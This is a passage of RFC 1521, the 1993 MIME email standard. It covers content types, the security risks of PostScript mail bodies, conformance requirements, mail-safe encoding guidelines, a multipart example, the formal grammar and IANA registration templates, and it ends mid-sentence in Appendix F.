Content-Transfer-Encoding is not + generally necessary, though it is permitted. + + Note that the body of a message of type "message/external-body" is + governed by the basic syntax for an RFC 822 message. In particular, + anything before the first consecutive pair of CRLFs is header + information, while anything after it is body information, which is + ignored for most access-types. + + The formal grammar for content-type header fields for data of type + message is given by: + + message-type := "message" "/" message-subtype + + message-subtype := "rfc822" + / "partial" 2#3partial-param + / "external-body" 1*external-param + / extension-token + + partial-param := (";" "id" "=" value) + / (";" "number" "=" 1*DIGIT) + / (";" "total" "=" 1*DIGIT) + ; id & number required; total required for last part + + external-param := (";" "access-type" "=" atype) + + + +Borenstein & Freed [Page 48] + +RFC 1521 MIME September 1993 + + + / (";" "expiration" "=" date-time) + ; Note that date-time is quoted + / (";" "size" "=" 1*DIGIT) + / (";" "permission" "=" ("read" / "read-write")) + ; Permission is case-insensitive + / (";" "name" "=" value) + / (";" "site" "=" value) + / (";" "dir" "=" value) + / (";" "mode" "=" value) + / (";" "server" "=" value) + / (";" "subject" "=" value) + ; access-type required;others required based on access-type + + atype := "ftp" / "anon-ftp" / "tftp" / "local-file" + / "afs" / "mail-server" / extension-token + ; Case-insensitive + +7.4. The Application Content-Type + + The "application" Content-Type is to be used for data which do not + fit in any of the other categories, and particularly for data to be + processed by mail-based uses of application programs. This is + information which must be processed by an application before it is + viewable or usable to a user. Expected uses for Content-Type + application include mail-based file transfer, spreadsheets, data for + mail-based scheduling systems, and languages for "active" + (computational) email. (The latter, in particular, can pose security + problems which must be understood by implementors, and are considered + in detail in the discussion of the application/PostScript content- + type.) + + For example, a meeting scheduler might define a standard + representation for information about proposed meeting dates. An + intelligent user agent would use this information to conduct a dialog + with the user, and might then send further mail based on that dialog. + More generally, there have been several "active" messaging languages + developed in which programs in a suitably specialized language are + sent through the mail and automatically run in the recipient's + environment. + + Such applications may be defined as subtypes of the "application" + Content-Type. This document defines two subtypes: octet-stream, and + PostScript. + + In general, the subtype of application will often be the name of the + application for which the data are intended. This does not mean, + however, that any application program name may be used freely as a + subtype of application. Such usages (other than subtypes beginning + + + +Borenstein & Freed [Page 49] + +RFC 1521 MIME September 1993 + + + with "x-") must be registered with IANA, as described in Appendix E. + +7.4.1. The Application/Octet-Stream (primary) subtype + + The primary subtype of application, "octet-stream", may be used to + indicate that a body contains binary data. The set of possible + parameters includes, but is not limited to: + + TYPE -- the general type or category of binary data. This is + intended as information for the human recipient rather than for + any automatic processing. + + PADDING -- the number of bits of padding that were appended to the + bit-stream comprising the actual contents to produce the enclosed + byte-oriented data. This is useful for enclosing a bit-stream in + a body when the total number of bits is not a multiple of the byte + size. + + An additional parameter, "conversions", was defined in [RFC-1341] but + has been removed. + + RFC 1341 also defined the use of a "NAME" parameter which gave a + suggested file name to be used if the data were to be written to a + file. This has been deprecated in anticipation of a separate + Content-Disposition header field, to be defined in a subsequent RFC. + + The recommended action for an implementation that receives + application/octet-stream mail is to simply offer to put the data in a + file, with any Content-Transfer-Encoding undone, or perhaps to use it + as input to a user-specified process. + + To reduce the danger of transmitting rogue programs through the mail, + it is strongly recommended that implementations NOT implement a + path-search mechanism whereby an arbitrary program named in the + Content-Type parameter (e.g., an "interpreter=" parameter) is found + and executed using the mail body as input. + +7.4.2. The Application/PostScript subtype + + A Content-Type of "application/postscript" indicates a PostScript + program. Currently two variants of the PostScript language are + allowed; the original level 1 variant is described in [POSTSCRIPT] + and the more recent level 2 variant is described in [POSTSCRIPT2]. + + PostScript is a registered trademark of Adobe Systems, Inc. Use of + the MIME content-type "application/postscript" implies recognition of + that trademark and all the rights it entails. + + + + +Borenstein & Freed [Page 50] + +RFC 1521 MIME September 1993 + + + The PostScript language definition provides facilities for internal + labeling of the specific language features a given program uses. This + labeling, called the PostScript document structuring conventions, is + very general and provides substantially more information than just + the language level. + + The use of document structuring conventions, while not required, is + strongly recommended as an aid to interoperability. Documents which + lack proper structuring conventions cannot be tested to see whether + or not they will work in a given environment. As such, some systems + may assume the worst and refuse to process unstructured documents. + + The execution of general-purpose PostScript interpreters entails + serious security risks, and implementors are discouraged from simply + sending PostScript email bodies to "off-the-shelf" interpreters. + While it is usually safe to send PostScript to a printer, where the + potential for harm is greatly constrained, implementors should + consider all of the following before they add interactive display of + PostScript bodies to their mail readers. + + The remainder of this section outlines some, though probably not all, + of the possible problems with sending PostScript through the mail. + + Dangerous operations in the PostScript language include, but may not + be limited to, the PostScript operators deletefile, renamefile, + filenameforall, and file. File is only dangerous when applied to + something other than standard input or output. Implementations may + also define additional nonstandard file operators; these may also + pose a threat to security. Filenameforall, the wildcard file search + operator, may appear at first glance to be harmless. Note, however, + that this operator has the potential to reveal information about what + files the recipient has access to, and this information may itself be + sensitive. Message senders should avoid the use of potentially + dangerous file operators, since these operators are quite likely to + be unavailable in secure PostScript implementations. Message- + receiving and -displaying software should either completely disable + all potentially dangerous file operators or take special care not to + delegate any special authority to their operation. These operators + should be viewed as being done by an outside agency when interpreting + PostScript documents. Such disabling and/or checking should be done + completely outside of the reach of the PostScript language itself; + care should be taken to insure that no method exists for re-enabling + full-function versions of these operators. + + The PostScript language provides facilities for exiting the normal + interpreter, or server, loop. Changes made in this "outer" + environment are customarily retained across documents, and may in + some cases be retained semipermanently in nonvolatile memory. The + + + +Borenstein & Freed [Page 51] + +RFC 1521 MIME September 1993 + + + operators associated with exiting the interpreter loop have the + potential to interfere with subsequent document processing. As such, + their unrestrained use constitutes a threat of service denial. + PostScript operators that exit the interpreter loop include, but may + not be limited to, the exitserver and startjob operators. Message- + sending software should not generate PostScript that depends on + exiting the interpreter loop to operate. The ability to exit will + probably be unavailable in secure PostScript implementations. + Message-receiving and -displaying software should, if possible, + disable the ability to make retained changes to the PostScript + environment, and eliminate the startjob and exitserver commands. If + these commands cannot be eliminated, the password associated with + them should at least be set to a hard-to-guess value. + + PostScript provides operators for setting system-wide and device- + specific parameters. These parameter settings may be retained across + jobs and may potentially pose a threat to the correct operation of + the interpreter. The PostScript operators that set system and device + parameters include, but may not be limited to, the setsystemparams + and setdevparams operators. Message-sending software should not + generate PostScript that depends on the setting of system or device + parameters to operate correctly. The ability to set these parameters + will probably be unavailable in secure PostScript implementations. + Message-receiving and -displaying software should, if possible, + disable the ability to change system and device parameters. If these + operators cannot be disabled, the password associated with them + should at least be set to a hard-to-guess value. + + Some PostScript implementations provide nonstandard facilities for + the direct loading and execution of machine code. Such facilities + are quite obviously open to substantial abuse. Message-sending + software should not make use of such features. Besides being totally + hardware- specific, they are also likely to be unavailable in secure + implementations of PostScript. Message-receiving and -displaying + software should not allow such operators to be used if they exist. + + PostScript is an extensible language, and many, if not most, + implementations of it provide a number of their own extensions. This + document does not deal with such extensions explicitly since they + constitute an unknown factor. Message-sending software should not + make use of nonstandard extensions; they are likely to be missing + from some implementations. Message-receiving and -displaying software + should make sure that any nonstandard PostScript operators are secure + and don't present any kind of threat. + + It is possible to write PostScript that consumes huge amounts of + various system resources. It is also possible to write PostScript + programs that loop infinitely. Both types of programs have the + + + +Borenstein & Freed [Page 52] + +RFC 1521 MIME September 1993 + + + potential to cause damage if sent to unsuspecting recipients. + Message-sending software should avoid the construction and + dissemination of such programs, which is antisocial. Message- + receiving and -displaying software should provide appropriate + mechanisms to abort processing of a document after a reasonable + amount of time has elapsed. In addition, PostScript interpreters + should be limited to the consumption of only a reasonable amount of + any given system resource. + + Finally, bugs may exist in some PostScript interpreters which could + possibly be exploited to gain unauthorized access to a recipient's + system. Apart from noting this possibility, there is no specific + action to take to prevent this, apart from the timely correction of + such bugs if any are found. + +7.4.3. Other Application subtypes + + It is expected that many other subtypes of application will be + defined in the future. MIME implementations must generally treat any + unrecognized subtypes as being equivalent to application/octet- + stream. + + The formal grammar for content-type header fields for application + data is given by: + + application-type := "application" "/" application-subtype + + application-subtype := ("octet-stream" *stream-param) + / "postscript" / extension-token + + stream-param := (";" "type" "=" value) + / (";" "padding" "=" padding) + + padding := "0" / "1" / "2" / "3" / "4" / "5" / "6" / "7" + +7.5. The Image Content-Type + + A Content-Type of "image" indicates that the body contains an image. + The subtype names the specific image format. These names are case + insensitive. Two initial subtypes are "jpeg" for the JPEG format, + JFIF encoding, and "gif" for GIF format [GIF]. + + The list of image subtypes given here is neither exclusive nor + exhaustive, and is expected to grow as more types are registered with + IANA, as described in Appendix E. + + The formal grammar for the content-type header field for data of type + image is given by: + + + +Borenstein & Freed [Page 53] + +RFC 1521 MIME September 1993 + + + image-type := "image" "/" ("gif" / "jpeg" / extension-token) + +7.6. The Audio Content-Type + + A Content-Type of "audio" indicates that the body contains audio + data. Although there is not yet a consensus on an "ideal" audio + format for use with computers, there is a pressing need for a format + capable of providing interoperable behavior. + + The initial subtype of "basic" is specified to meet this requirement + by providing an absolutely minimal lowest common denominator audio + format. It is expected that richer formats for higher quality and/or + lower bandwidth audio will be defined by a later document. + + The content of the "audio/basic" subtype is audio encoded using 8-bit + ISDN mu-law [PCM]. When this subtype is present, a sample rate of + 8000 Hz and a single channel is assumed. + + The formal grammar for the content-type header field for data of type + audio is given by: + + audio-type := "audio" "/" ("basic" / extension-token) + +7.7. The Video Content-Type + + A Content-Type of "video" indicates that the body contains a time- + varying-picture image, possibly with color and coordinated sound. + The term "video" is used extremely generically, rather than with + reference to any particular technology or format, and is not meant to + preclude subtypes such as animated drawings encoded compactly. The + subtype "mpeg" refers to video coded according to the MPEG standard + [MPEG]. + + Note that although in general this document strongly discourages the + mixing of multiple media in a single body, it is recognized that many + so-called "video" formats include a representation for synchronized + audio, and this is explicitly permitted for subtypes of "video". + + The formal grammar for the content-type header field for data of type + video is given by: + + video-type := "video" "/" ("mpeg" / extension-token) + +7.8. Experimental Content-Type Values + + A Content-Type value beginning with the characters "X-" is a private + value, to be used by consenting mail systems by mutual agreement. + Any format without a rigorous and public definition must be named + + + +Borenstein & Freed [Page 54] + +RFC 1521 MIME September 1993 + + + with an "X-" prefix, and publicly specified values shall never begin + with "X-". (Older versions of the widely-used Andrew system use the + "X-BE2" name, so new systems should probably choose a different + name.) + + In general, the use of "X-" top-level types is strongly discouraged. + Implementors should invent subtypes of the existing types whenever + possible. The invention of new types is intended to be restricted + primarily to the development of new media types for email, such as + digital odors or holography, and not for new data formats in general. + In many cases, a subtype of application will be more appropriate than + a new top-level type. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Borenstein & Freed [Page 55] + +RFC 1521 MIME September 1993 + + +8. Summary + + Using the MIME-Version, Content-Type, and Content-Transfer-Encoding + header fields, it is possible to include, in a standardized way, + arbitrary types of data objects with RFC 822 conformant mail + messages. No restrictions imposed by either RFC 821 or RFC 822 are + violated, and care has been taken to avoid problems caused by + additional restrictions imposed by the characteristics of some + Internet mail transport mechanisms (see Appendix B). The "multipart" + and "message" Content-Types allow mixing and hierarchical structuring + of objects of different types in a single message. Further Content- + Types provide a standardized mechanism for tagging messages or body + parts as audio, image, or several other kinds of data. A + distinguished parameter syntax allows further specification of data + format details, particularly the specification of alternate character + sets. Additional optional header fields provide mechanisms for + certain extensions deemed desirable by many implementors. Finally, a + number of useful Content-Types are defined for general use by + consenting user agents, notably message/partial, and + message/external-body. + +9. Security Considerations + + Security issues are discussed in Section 7.4.2 and in Appendix F. + Implementors should pay special attention to the security + implications of any mail content-types that can cause the remote + execution of any actions in the recipient's environment. In such + cases, the discussion of the application/postscript content-type in + Section 7.4.2 may serve as a model for considering other content- + types with remote execution capabilities. + + + + + + + + + + + + + + + + + + + + + +Borenstein & Freed [Page 56] + +RFC 1521 MIME September 1993 + + +10. Authors' Addresses + + For more information, the authors of this document may be contacted + via Internet mail: + + Nathaniel S. Borenstein + MRE 2D-296, Bellcore + 445 South St. + Morristown, NJ 07962-1910 + + Phone: +1 201 829 4270 + Fax: +1 201 829 7019 + Email: nsb@bellcore.com + + + Ned Freed + Innosoft International, Inc. + 250 West First Street + Suite 240 + Claremont, CA 91711 + + Phone: +1 909 624 7907 + Fax: +1 909 621 5319 + Email: ned@innosoft.com + + MIME is a result of the work of the Internet Engineering Task Force + Working Group on Email Extensions. The chairman of that group, Greg + Vaudreuil, may be reached at: + + Gregory M. Vaudreuil + Tigon Corporation + 17060 Dallas Parkway + Dallas Texas, 75248 + + Phone: +1 214-733-2722 + EMail: gvaudre@cnri.reston.va.us + + + + + + + + + + + + + + + +Borenstein & Freed [Page 57] + +RFC 1521 MIME September 1993 + + +11. Acknowledgements + + This document is the result of the collective effort of a large + number of people, at several IETF meetings, on the IETF-SMTP and + IETF-822 mailing lists, and elsewhere. Although any enumeration + seems doomed to suffer from egregious omissions, the following are + among the many contributors to this effort: + + Harald Tveit Alvestrand Timo Lehtinen + Randall Atkinson John R. MacMillan + Philippe Brandon Rick McGowan + Kevin Carosso Leo Mclaughlin + Uhhyung Choi Goli Montaser-Kohsari + Cristian Constantinof Keith Moore + Mark Crispin Tom Moore + Dave Crocker Erik Naggum + Terry Crowley Mark Needleman + Walt Daniels John Noerenberg + Frank Dawson Mats Ohrman + Hitoshi Doi Julian Onions + Kevin Donnelly Michael Patton + Keith Edwards David J. Pepper + Chris Eich Blake C. Ramsdell + Johnny Eriksson Luc Rooijakkers + Craig Everhart Marshall T. Rose + Patrik Faeltstroem Jonathan Rosenberg + Erik E. Fair Jan Rynning + Roger Fajman Harri Salminen + Alain Fontaine Michael Sanderson + James M. Galvin Masahiro Sekiguchi + Philip Gladstone Mark Sherman + Thomas Gordon Keld Simonsen + Phill Gross Bob Smart + James Hamilton Peter Speck + Steve Hardcastle-Kille Henry Spencer + David Herron Einar Stefferud + Bruce Howard Michael Stein + Bill Janssen Klaus Steinberger + Olle Jaernefors Peter Svanberg + Risto Kankkunen James Thompson + Phil Karn Steve Uhler + Alan Katz Stuart Vance + Tim Kehres Erik van der Poel + Neil Katin Guido van Rossum + Kyuho Kim Peter Vanderbilt + Anders Klemets Greg Vaudreuil + John Klensin Ed Vielmetti + Valdis Kletniek Ryan Waldron + + + +Borenstein & Freed [Page 58] + +RFC 1521 MIME September 1993 + + + Jim Knowles Wally Wedel + Stev Knowles Sven-Ove Westberg + Bob Kummerfeld Brian Wideen + Pekka Kytolaakso John Wobus + Stellan Lagerstrom Glenn Wright + Vincent Lau Rayan Zachariassen + Donald Lindsay David Zimmerman + Marc Andreessen Bob Braden + Brian Capouch Peter Clitherow + Dave Collier-Brown John Coonrod + Stephen Crocker Jim Davis + Axel Deininger Dana S Emery + Martin Forssen Stephen Gildea + Terry Gray Mark Horton + Warner Losh Carlyn Lowery + Laurence Lundblade Charles Lynn + Larry Masinter Michael J. McInerny + Jon Postel Christer Romson + Yutaka Sato Markku Savela + Richard Alan Schafer Larry W. Virden + Rhys Weatherly Jay Weber + Dave Wecker + +The authors apologize for any omissions from this list, which are +certainly unintentional. + + + + + + + + + + + + + + + + + + + + + + + + + + +Borenstein & Freed [Page 59] + +RFC 1521 MIME September 1993 + + +Appendix A -- Minimal MIME-Conformance + + The mechanisms described in this document are open-ended. It is + definitely not expected that all implementations will support all of + the Content-Types described, nor that they will all share the same + extensions. In order to promote interoperability, however, it is + useful to define the concept of "MIME-conformance" to define a + certain level of implementation that allows the useful interworking + of messages with content that differs from US ASCII text. In this + section, we specify the requirements for such conformance. + + A mail user agent that is MIME-conformant MUST: + + 1. Always generate a "MIME-Version: 1.0" header field. + + 2. Recognize the Content-Transfer-Encoding header field, and + decode all received data encoded with either the quoted-printable + or base64 implementations. Encode any data sent that is not in + seven-bit mail-ready representation using one of these + transformations and include the appropriate Content-Transfer- + Encoding header field, unless the underlying transport mechanism + supports non-seven-bit data, as SMTP does not. + + 3. Recognize and interpret the Content-Type header field, and + avoid showing users raw data with a Content-Type field other than + text. Be able to send at least text/plain messages, with the + character set specified as a parameter if it is not US-ASCII. + + 4. Explicitly handle the following Content-Type values, to at + least the following extents: + + Text: + + -- Recognize and display "text" mail + with the character set "US-ASCII." + + -- Recognize other character sets at + least to the extent of being able + to inform the user about what + character set the message uses. + + -- Recognize the "ISO-8859-*" character + sets to the extent of being able to + display those characters that are + common to ISO-8859-* and US-ASCII, + namely all characters represented + by octet values 0-127. + + + + +Borenstein & Freed [Page 60] + +RFC 1521 MIME September 1993 + + + -- For unrecognized subtypes, show or + offer to show the user the "raw" + version of the data after + conversion of the content from + canonical form to local form. + + Message: + + -- Recognize and display at least the + primary (822) encapsulation. + + Multipart: + + -- Recognize the primary (mixed) + subtype. Display all relevant + information on the message level + and the body part header level and + then display or offer to display + each of the body parts individually. + + -- Recognize the "alternative" subtype, + and avoid showing the user + redundant parts of + multipart/alternative mail. + + -- Treat any unrecognized subtypes as if + they were "mixed". + + Application: + + -- Offer the ability to remove either of + the two types of Content-Transfer- + Encoding defined in this document + and put the resulting information + in a user file. + + 5. Upon encountering any unrecognized Content- Type, an + implementation must treat it as if it had a Content-Type of + "application/octet-stream" with no parameter sub-arguments. How + such data are handled is up to an implementation, but likely + options for handling such unrecognized data include offering the + user to write it into a file (decoded from its mail transport + format) or offering the user to name a program to which the + decoded data should be passed as input. Unrecognized predefined + types, which in a MIME-conformant mailer might still include + audio, image, or video, should also be treated in this way. + + A user agent that meets the above conditions is said to be MIME- + + + +Borenstein & Freed [Page 61] + +RFC 1521 MIME September 1993 + + + conformant. The meaning of this phrase is that it is assumed to be + "safe" to send virtually any kind of properly-marked data to users of + such mail systems, because such systems will at least be able to + treat the data as undifferentiated binary, and will not simply splash + it onto the screen of unsuspecting users. There is another sense in + which it is always "safe" to send data in a format that is MIME- + conformant, which is that such data will not break or be broken by + any known systems that are conformant with RFC 821 and RFC 822. User + agents that are MIME-conformant have the additional guarantee that + the user will not be shown data that were never intended to be viewed + as text. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Borenstein & Freed [Page 62] + +RFC 1521 MIME September 1993 + + +Appendix B -- General Guidelines For Sending Email Data + + Internet email is not a perfect, homogeneous system. Mail may become + corrupted at several stages in its travel to a final destination. + Specifically, email sent throughout the Internet may travel across + many networking technologies. Many networking and mail technologies + do not support the full functionality possible in the SMTP transport + environment. Mail traversing these systems is likely to be modified + in such a way that it can be transported. + + There exist many widely-deployed non-conformant MTAs in the Internet. + These MTAs, speaking the SMTP protocol, alter messages on the fly to + take advantage of the internal data structure of the hosts they are + implemented on, or are just plain broken. + + The following guidelines may be useful to anyone devising a data + format (Content-Type) that will survive the widest range of + networking technologies and known broken MTAs unscathed. Note that + anything encoded in the base64 encoding will satisfy these rules, but + that some well-known mechanisms, notably the UNIX uuencode facility, + will not. Note also that anything encoded in the Quoted-Printable + encoding will survive most gateways intact, but possibly not some + gateways to systems that use the EBCDIC character set. + + (1) Under some circumstances the encoding used for data may change + as part of normal gateway or user agent operation. In particular, + conversion from base64 to quoted-printable and vice versa may be + necessary. This may result in the confusion of CRLF sequences with + line breaks in text bodies. As such, the persistence of CRLF as + something other than a line break must not be relied on. + + (2) Many systems may elect to represent and store text data using + local newline conventions. Local newline conventions may not match + the RFC822 CRLF convention -- systems are known that use plain CR, + plain LF, CRLF, or counted records. The result is that isolated + CR and LF characters are not well tolerated in general; they may + be lost or converted to delimiters on some systems, and hence must + not be relied on. + + (3) TAB (HT) characters may be misinterpreted or may be + automatically converted to variable numbers of spaces. This is + unavoidable in some environments, notably those not based on the + ASCII character set. Such conversion is STRONGLY DISCOURAGED, but + it may occur, and mail formats must not rely on the persistence of + TAB (HT) characters. + + (4) Lines longer than 76 characters may be wrapped or truncated in + some environments. Line wrapping and line truncation are STRONGLY + + + +Borenstein & Freed [Page 63] + +RFC 1521 MIME September 1993 + + + DISCOURAGED, but unavoidable in some cases. Applications which + require long lines must somehow differentiate between soft and + hard line breaks. (A simple way to do this is to use the quoted- + printable encoding.) + + (5) Trailing "white space" characters (SPACE, TAB (HT)) on a line + may be discarded by some transport agents, while other transport + agents may pad lines with these characters so that all lines in a + mail file are of equal length. The persistence of trailing white + space, therefore, must not be relied on. + + (6) Many mail domains use variations on the ASCII character set, + or use character sets such as EBCDIC which contain most but not + all of the US-ASCII characters. The correct translation of + characters not in the "invariant" set cannot be depended on across + character converting gateways. For example, this situation is a + problem when sending uuencoded information across BITNET, an + EBCDIC system. Similar problems can occur without crossing a + gateway, since many Internet hosts use character sets other than + ASCII internally. The definition of Printable Strings in X.400 + adds further restrictions in certain special cases. In + particular, the only characters that are known to be consistent + across all gateways are the 73 characters that correspond to the + upper and lower case letters A-Z and a-z, the 10 digits 0-9, and + the following eleven special characters: + + "'" (ASCII code 39) + "(" (ASCII code 40) + ")" (ASCII code 41) + "+" (ASCII code 43) + "," (ASCII code 44) + "-" (ASCII code 45) + "." (ASCII code 46) + "/" (ASCII code 47) + ":" (ASCII code 58) + "=" (ASCII code 61) + "?" (ASCII code 63) + + A maximally portable mail representation, such as the base64 + encoding, will confine itself to relatively short lines of text in + which the only meaningful characters are taken from this set of 73 + characters. + + (7) Some mail transport agents will corrupt data that includes + certain literal strings. In particular, a period (".") alone on a + line is known to be corrupted by some (incorrect) SMTP + implementations, and a line that starts with the five characters + "From " (the fifth character is a SPACE) are commonly corrupted as + + + +Borenstein & Freed [Page 64] + +RFC 1521 MIME September 1993 + + + well. A careful composition agent can prevent these corruptions + by encoding the data (e.g., in the quoted-printable encoding, + "=46rom " in place of "From " at the start of a line, and "=2E" in + place of "." alone on a line. + + Please note that the above list is NOT a list of recommended + practices for MTAs. RFC 821 MTAs are prohibited from altering the + character of white space or wrapping long lines. These BAD and + illegal practices are known to occur on established networks, and + implementations should be robust in dealing with the bad effects they + can cause. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Borenstein & Freed [Page 65] + +RFC 1521 MIME September 1993 + + +Appendix C -- A Complex Multipart Example + + What follows is the outline of a complex multipart message. This + message has five parts to be displayed serially: two introductory + plain text parts, an embedded multipart message, a richtext part, and + a closing encapsulated text message in a non-ASCII character set. + The embedded multipart message has two parts to be displayed in + parallel, a picture and an audio fragment. + + MIME-Version: 1.0 + From: Nathaniel Borenstein + To: Ned Freed + Subject: A multipart example + Content-Type: multipart/mixed; + boundary=unique-boundary-1 + + This is the preamble area of a multipart message. + Mail readers that understand multipart format + should ignore this preamble. + If you are reading this text, you might want to + consider changing to a mail reader that understands + how to properly display multipart messages. + --unique-boundary-1 + + ...Some text appears here... + [Note that the preceding blank line means + no header fields were given and this is text, + with charset US ASCII. It could have been + done with explicit typing as in the next part.] + + --unique-boundary-1 + Content-type: text/plain; charset=US-ASCII + + This could have been part of the previous part, + but illustrates explicit versus implicit + typing of body parts. + + --unique-boundary-1 + Content-Type: multipart/parallel; + boundary=unique-boundary-2 + + + --unique-boundary-2 + Content-Type: audio/basic + Content-Transfer-Encoding: base64 + + ... base64-encoded 8000 Hz single-channel + mu-law-format audio data goes here.... + + + +Borenstein & Freed [Page 66] + +RFC 1521 MIME September 1993 + + + --unique-boundary-2 + Content-Type: image/gif + Content-Transfer-Encoding: base64 + + ... base64-encoded image data goes here.... + + --unique-boundary-2-- + + --unique-boundary-1 + Content-type: text/richtext + + This is richtext. + as defined in RFC 1341 + Isn't it + cool? + + --unique-boundary-1 + Content-Type: message/rfc822 + + From: (mailbox in US-ASCII) + To: (address in US-ASCII) + Subject: (subject in US-ASCII) + Content-Type: Text/plain; charset=ISO-8859-1 + Content-Transfer-Encoding: Quoted-printable + + ... Additional text in ISO-8859-1 goes here ... + + --unique-boundary-1-- + + + + + + + + + + + + + + + + + + + + + + + +Borenstein & Freed [Page 67] + +RFC 1521 MIME September 1993 + + +Appendix D -- Collected Grammar + + This appendix contains the complete BNF grammar for all the syntax + specified by this document. + + By itself, however, this grammar is incomplete. It refers to several + entities that are defined by RFC 822. Rather than reproduce those + definitions here, and risk unintentional differences between the two, + this document simply refers the reader to RFC 822 for the remaining + definitions. Wherever a term is undefined, it refers to the RFC 822 + definition. + + application-subtype := ("octet-stream" *stream-param) + / "postscript" / extension-token + + application-type := "application" "/" application-subtype + + attribute := token ; case-insensitive + + atype := "ftp" / "anon-ftp" / "tftp" / "local-file" + / "afs" / "mail-server" / extension-token + ; Case-insensitive + + audio-type := "audio" "/" ("basic" / extension-token) + + body-part := <"message" as defined in RFC 822, + with all header fields optional, and with the + specified delimiter not occurring anywhere in + the message body, either on a line by itself + or as a substring anywhere.> + + NOTE: In certain transport enclaves, RFC 822 restrictions such as + the one that limits bodies to printable ASCII characters may not + be in force. (That is, the transport domains may resemble + standard Internet mail transport as specified in RFC821 and + assumed by RFC822, but without certain restrictions.) The + relaxation of these restrictions should be construed as locally + extending the definition of bodies, for example to include octets + outside of the ASCII range, as long as these extensions are + supported by the transport and adequately documented in the + Content-Transfer-Encoding header field. However, in no event are + headers (either message headers or body-part headers) allowed to + contain anything other than ASCII characters. + + + + + + + + +Borenstein & Freed [Page 68] + +RFC 1521 MIME September 1993 + + + boundary := 0*69 bcharsnospace + + bchars := bcharsnospace / " " + + bcharsnospace := DIGIT / ALPHA / "'" / "(" / ")" / "+" / "_" + / "," / "-" / "." / "/" / ":" / "=" / "?" + + charset := "us-ascii" / "iso-8859-1" / "iso-8859-2"/ "iso-8859-3" + / "iso-8859-4" / "iso-8859-5" / "iso-8859-6" / "iso-8859-7" + / "iso-8859-8" / "iso-8859-9" / extension-token + ; case insensitive + + close-delimiter := "--" boundary "--" CRLF;Again,no space by "--", + + content := "Content-Type" ":" type "/" subtype *(";" parameter) + ; case-insensitive matching of type and subtype + + delimiter := "--" boundary CRLF ;taken from Content-Type field. + ; There must be no space + ; between "--" and boundary. + + description := "Content-Description" ":" *text + + discard-text := *(*text CRLF) + + encapsulation := delimiter body-part CRLF + + encoding := "Content-Transfer-Encoding" ":" mechanism + + epilogue := discard-text ; to be ignored upon receipt. + + extension-token := x-token / iana-token + + external-param := (";" "access-type" "=" atype) + / (";" "expiration" "=" date-time) + + ; Note that date-time is quoted + / (";" "size" "=" 1*DIGIT) + / (";" "permission" "=" ("read" / "read-write")) + ; Permission is case-insensitive + / (";" "name" "=" value) + / (";" "site" "=" value) + / (";" "dir" "=" value) + / (";" "mode" "=" value) + / (";" "server" "=" value) + / (";" "subject" "=" value) + ;access-type required; others required based on access-type + + + + +Borenstein & Freed [Page 69] + +RFC 1521 MIME September 1993 + + + iana-token := + + id := "Content-ID" ":" msg-id + + image-type := "image" "/" ("gif" / "jpeg" / extension-token) + + mechanism := "7bit" ; case-insensitive + / "quoted-printable" + / "base64" + / "8bit" + / "binary" + / x-token + + message-subtype := "rfc822" + / "partial" 2#3partial-param + / "external-body" 1*external-param + / extension-token + + message-type := "message" "/" message-subtype + + multipart-body :=preamble 1*encapsulation close-delimiter epilogue + + multipart-subtype := "mixed" / "parallel" / "digest" + / "alternative" / extension-token + + multipart-type := "multipart" "/" multipart-subtype + ";" "boundary" "=" boundary + + octet := "=" 2(DIGIT / "A" / "B" / "C" / "D" / "E" / "F") + ; octet must be used for characters > 127, =, SPACE, or + TAB, + ; and is recommended for any characters not listed in + ; Appendix B as "mail-safe". + + padding := "0" / "1" / "2" / "3" / "4" / "5" / "6" / "7" + + parameter := attribute "=" value + + partial-param := (";" "id" "=" value) + / (";" "number" "=" 1*DIGIT) + / (";" "total" "=" 1*DIGIT) + ; id & number required;total required for last part + + preamble := discard-text ; to be ignored upon receipt. + + ptext := octet / " / "@" + / "," / ";" / ":" / "\" / <"> + / "/" / "[" / "]" / "?" / "=" + ; Must be in quoted-string, + ; to use within parameter values + + + type := "application" / "audio" ; case-insensitive + / "image" / "message" + / "multipart" / "text" + / "video" / extension-token + ; All values case-insensitive + + value := token / quoted-string + + version := "MIME-Version" ":" 1*DIGIT "." 1*DIGIT + + video-type := "video" "/" ("mpeg" / extension-token) + + x-token := + + + + + + + + + + + + + +Borenstein & Freed [Page 71] + +RFC 1521 MIME September 1993 + + +Appendix E -- IANA Registration Procedures + + MIME has been carefully designed to have extensible mechanisms, and + it is expected that the set of content-type/subtype pairs and their + associated parameters will grow significantly with time. Several + other MIME fields, notably character set names, access-type + parameters for the message/external-body type, and possibly even + Content-Transfer-Encoding values, are likely to have new values + defined over time. In order to ensure that the set of such values is + developed in an orderly, well-specified, and public manner, MIME + defines a registration process which uses the Internet Assigned + Numbers Authority (IANA) as a central registry for such values. + + In general, parameters in the content-type header field are used to + convey supplemental information for various content types, and their + use is defined when the content-type and subtype are defined. New + parameters should not be defined as a way to introduce new + functionality. + + In order to simplify and standardize the registration process, this + appendix gives templates for the registration of new values with + IANA. Each of these is given in the form of an email message + template, to be filled in by the registering party. + + E.1 Registration of New Content-type/subtype Values + + Note that MIME is generally expected to be extended by subtypes. If + a new fundamental top-level type is needed, its specification must be + published as an RFC or submitted in a form suitable to become an RFC, + and be subject to the Internet standards process. + + To: IANA@isi.edu + Subject: Registration of new MIME + content-type/subtype + + MIME type name: + + (If the above is not an existing top-level MIME type, + please explain why an existing type cannot be used.) + + MIME subtype name: + + Required parameters: + + Optional parameters: + + Encoding considerations: + + + + +Borenstein & Freed [Page 72] + +RFC 1521 MIME September 1993 + + + Security considerations: + + Published specification: + + (The published specification must be an Internet RFC or + RFC-to-be if a new top-level type is being defined, and + must be a publicly available specification in any + case.) + + Person & email address to contact for further information: + + E.2 Registration of New Access-type Values + for Message/external-body + + To: IANA@isi.edu + Subject: Registration of new MIME Access-type for + Message/external-body content-type + + MIME access-type name: + + Required parameters: + + Optional parameters: + + Published specification: + + (The published specification must be an Internet RFC or + RFC-to-be.) + + Person & email address to contact for further information: + + + + + + + + + + + + + + + + + + + + + +Borenstein & Freed [Page 73] + +RFC 1521 MIME September 1993 + + +Appendix F -- Summary of the Seven Content-types + + Content-type: text + + Subtypes defined by this document: plain + + Important Parameters: charset + + Encoding notes: quoted-printable generally preferred if an encoding + is needed and the character set is mostly an ASCII superset. + + Security considerations: Rich text formats such as TeX and Troff + often contain mechanisms for executing arbitrary commands or file + system 